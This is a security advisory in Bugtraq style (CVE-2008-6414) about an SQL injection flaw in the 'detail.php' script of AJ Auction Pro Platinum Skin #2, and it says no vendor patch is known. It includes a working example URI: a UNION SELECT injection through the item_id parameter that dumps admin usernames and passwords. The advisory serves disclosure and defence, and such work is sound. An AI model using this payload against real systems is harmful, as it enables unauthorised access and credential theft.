AJ Auction Pro Platinum Skin #2 'detail.php' SQL Injection Vulnerability

Bugtraq ID:	31362
Class:	Input Validation Error
CVE:	CVE-2008-6414
Remote:	Yes
Local:	No
Published:	Sep 24 2008 12:00AM
Updated:	Mar 12 2009 10:06PM
Credit:	Gold_M
Vulnerable:	AJSquare AJ Auction Pro Platinum Skin #2 0
Not Vulnerable:

AJ Auction Pro Platinum Skin #2 'detail.php' SQL Injection Vulnerability

AJ Auction Pro Platinum Skin #2 is prone to an SQL-injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

AJ Auction Pro Platinum Skin #2 'detail.php' SQL Injection Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/detail.php?item_id=-1+UNION+SELECT+1,2,3,4,concat(user_name,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35 ,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51+from+admin--

AJ Auction Pro Platinum Skin #2 'detail.php' SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

AJ Auction Pro Platinum Skin #2 'detail.php' SQL Injection Vulnerability

References:

• Vendor Homepage (AJ Square)